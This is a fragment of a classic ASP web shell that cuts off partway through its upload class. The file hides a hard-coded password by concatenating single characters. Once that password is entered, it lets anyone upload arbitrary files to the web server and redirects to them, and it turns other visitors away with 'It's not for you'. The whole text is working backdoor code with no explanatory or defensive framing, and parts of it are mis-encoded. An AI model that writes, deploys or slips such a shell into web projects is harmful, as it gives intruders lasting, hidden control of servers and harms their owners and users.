<%@ LANGUAGE = VBScript %><% pass=Request("pass"):b="d"&"a"&"o"&"g"&"e"&"h"&"a"&"o":if pass=b then: session("pass")=b:end if:dim DblIslogin:if session("pass")<>b then: session("pass")="": DblIslogin=false : else: DblIslogin=true:end if:if DblIslogin=true then %>

Upload everything,Just you want

�ļ���

<% dao=Request("dao"):dim upload,file,formName,formPath,T_comment:set upload=new upload_DAO:if dao="up" then:formPath="":fname="":openpara=upload.form("openpara"):set file=upload.file("DAOUploadFile") :if trim(file.FileName)<>"" then : if file.FileSize<=0 then : response.write "": response.End(): else: if right(formPath,1)<>"/" then: formPath=formPath&"/":end if: fname =file.FileName: file.SaveAs Server.mappath(fname): response.redirect fname & openpara : end if :end if :end if else:session("pass")="":response.write "It's not for you":response.End():end if:dim Data_DAO:Class upload_DAO :dim objForm,objFile,Version:Public function Form(strForm): strForm=lcase(strForm): if not objForm.exists(strForm) then: Form="": else: Form=objForm(strForm): end if:end function:Public function File(...